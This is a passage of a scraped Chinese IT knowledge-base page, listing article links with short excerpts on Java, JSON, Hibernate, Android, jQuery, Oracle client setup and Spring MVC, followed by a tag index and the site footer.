title="JSONUtil.serialize(map)和JSON.toJSONString(map)的区别" target="_blank">JSONUtil.serialize(map)和JSON.toJSONString(map)的区别</a> <span class="text-muted">coder_xpf</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/map/1.htm">map</a><a class="tag" taget="_blank" href="/search/val%28%29/1.htm">val()</a> <div> JSONUtil.serialize(map)和JSON.toJSONString(map)的区别   数据库查询出来的map有一个字段为空   通过System.out.println()输出 JSONUtil.serialize(map): {"one":"1","two":"nul</div> </li> <li><a href="/article/2334.htm" title="Hibernate缓存总结" target="_blank">Hibernate缓存总结</a> <span class="text-muted">cuishikuan</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a><a class="tag" taget="_blank" href="/search/javaweb/1.htm">javaweb</a><a class="tag" taget="_blank" href="/search/hibernate%E7%BC%93%E5%AD%98/1.htm">hibernate缓存</a><a class="tag" taget="_blank" href="/search/%E4%B8%89%E5%A4%A7%E6%A1%86%E6%9E%B6/1.htm">三大框架</a> <div>一、为什么要用Hibernate缓存? Hibernate是一个持久层框架,经常访问物理数据库。 为了降低应用程序对物理数据源访问的频次,从而提高应用程序的运行性能。 缓存内的数据是对物理数据源中的数据的复制,应用程序在运行时从缓存读写数据,在特定的时刻或事件会同步缓存和物理数据源的数据。   二、Hibernate缓存原理是怎样的? Hibernate缓存包括两大类:Hib</div> </li> <li><a href="/article/2461.htm" title="CentOs6" target="_blank">CentOs6</a> <span class="text-muted">dalan_123</span> <a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a> <div>首先su - 切换到root下面1、首先要先安装GCC GCC-C++ Openssl等以来模块:yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel2、再安装ncurses模块yum -y install ncurses-develyum install ncurses-devel3、下载Erang</div> </li> <li><a href="/article/2588.htm" title="10款用 jquery 实现滚动条至页面底端自动加载数据效果" target="_blank">10款用 jquery 实现滚动条至页面底端自动加载数据效果</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a> <div>  无限滚动自动翻页可以说是web2.0时代的一项堪称伟大的技术,它让我们在浏览页面的时候只需要把滚动条拉到网页底部就能自动显示下一页的结果,改变了一直以来只能通过点击下一页来翻页这种常规做法。 无限滚动自动翻页技术的鼻祖是微博的先驱:推特(twitter),后来必应图片搜索、谷歌图片搜索、google reader、箱包批发网等纷纷抄袭了这一项技术,于是靠滚动浏览器滚动条</div> </li> <li><a href="/article/2715.htm" title="ImageButton去边框&Button或者ImageButton的背景透明" target="_blank">ImageButton去边框&Button或者ImageButton的背景透明</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/imagebutton/1.htm">imagebutton</a> <div>在ImageButton中载入图片后,很多人会觉得有图片周围的白边会影响到美观,其实解决这个问题有两种方法 一种方法是将ImageButton的背景改为所需要的图片。如:android:background="@drawable/XXX" 第二种方法就是将ImageButton背景改为透明,这个方法更常用 在XML里;    <ImageBut</div> </li> <li><a href="/article/2842.htm" title="JSP之c:foreach" target="_blank">JSP之c:foreach</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/forearch/1.htm">forearch</a> <div>原文出自:http://www.cnblogs.com/draem0507/archive/2012/09/24/2699745.html <c:forEach>标签用于通用数据循环,它有以下属性 属 性 描 述 是否必须 缺省值 items 进行循环的项目 否 无 begin 开始条件 否 0 end 结束条件 否 集合中的最后一个项目 step 步长 否 1</div> </li> <li><a href="/article/2969.htm" title="Android实现主动连接蓝牙耳机" target="_blank">Android实现主动连接蓝牙耳机</a> <span class="text-muted">gqdy365</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>在Android程序中可以实现自动扫描蓝牙、配对蓝牙、建立数据通道。蓝牙分不同类型,这篇文字只讨论如何与蓝牙耳机连接。 大致可以分三步: 一、扫描蓝牙设备: 1、注册并监听广播: BluetoothAdapter.ACTION_DISCOVERY_STARTED BluetoothDevice.ACTION_FOUND BluetoothAdapter.ACTION_DIS</div> </li> <li><a href="/article/3096.htm" title="android学习轨迹之四:org.json.JSONException: No value for" target="_blank">android学习轨迹之四:org.json.JSONException: No value for</a> <span class="text-muted">hyz301</span> <a class="tag" taget="_blank" href="/search/json/1.htm">json</a> <div>org.json.JSONException: No value for items  在JSON解析中会遇到一种错误,很常见的错误   06-21 12:19:08.714 2098-2127/com.jikexueyuan.secret I/System.out﹕ Result:{"status":1,"page":1,&</div> </li> <li><a href="/article/3223.htm" title="干货分享:从零开始学编程 系列汇总" target="_blank">干货分享:从零开始学编程 系列汇总</a> <span class="text-muted">justjavac</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a> <div>程序员总爱重新发明轮子,于是做了要给轮子汇总。 从零开始写个编译器吧系列 (知乎专栏) 从零开始写一个简单的操作系统 (伯乐在线) 从零开始写JavaScript框架 (图灵社区) 从零开始写jQuery框架 (蓝色理想 ) 从零开始nodejs系列文章 (粉丝日志) 从零开始编写网络游戏 </div> </li> <li><a href="/article/3350.htm" title="jquery-autocomplete 使用手册" target="_blank">jquery-autocomplete 使用手册</a> <span class="text-muted">macroli</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a> <div>jquery-autocomplete学习 一、用前必备 官方网站:http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ 当前版本:1.1 需要JQuery版本:1.2.6 二、使用 <script src="./jquery-1.3.2.js" type="text/ja</div> </li> <li><a href="/article/3477.htm" title="PLSQL-Developer或者Navicat等工具连接远程oracle数据库的详细配置以及数据库编码的修改" target="_blank">PLSQL-Developer或者Navicat等工具连接远程oracle数据库的详细配置以及数据库编码的修改</a> <span class="text-muted">超声波</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>  在服务器上将Oracle安装好之后接下来要做的就是通过本地机器来远程连接服务器端的oracle数据库,常用的客户端连接工具就是PLSQL-Developer或者Navicat这些工具了。刚开始也是各种报错,什么TNS:no listener;TNS:lost connection;TNS:target hosts...花了一天的时间终于让PLSQL-Developer和Navicat等这些客户</div> </li> <li><a href="/article/3604.htm" title="数据仓库数据模型之:极限存储--历史拉链表" target="_blank">数据仓库数据模型之:极限存储--历史拉链表</a> <span class="text-muted">superlxw1234</span> <a class="tag" taget="_blank" href="/search/%E6%9E%81%E9%99%90%E5%AD%98%E5%82%A8/1.htm">极限存储</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E4%BB%93%E5%BA%93/1.htm">数据仓库</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%A8%A1%E5%9E%8B/1.htm">数据模型</a><a class="tag" taget="_blank" href="/search/%E6%8B%89%E9%93%BE%E5%8E%86%E5%8F%B2%E8%A1%A8/1.htm">拉链历史表</a> <div>在数据仓库的数据模型设计过程中,经常会遇到这样的需求: 1. 数据量比较大; 2. 表中的部分字段会被update,如用户的地址,产品的描述信息,订单的状态等等; 3. 需要查看某一个时间点或者时间段的历史快照信息,比如,查看某一个订单在历史某一个时间点的状态,    比如,查看某一个用户在过去某一段时间内,更新过几次等等; 4. 变化的比例和频率不是很大,比如,总共有10</div> </li> <li><a href="/article/3731.htm" title="10点睛Spring MVC4.1-全局异常处理" target="_blank">10点睛Spring MVC4.1-全局异常处理</a> <span class="text-muted">wiselyman</span> <a class="tag" taget="_blank" href="/search/spring+mvc/1.htm">spring mvc</a> <div>10.1 全局异常处理 使用@ControllerAdvice注解来实现全局异常处理; 使用@ControllerAdvice的属性缩小处理范围 10.2 演示 演示控制器 package com.wisely.web; import org.springframework.stereotype.Controller; import org.spring</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>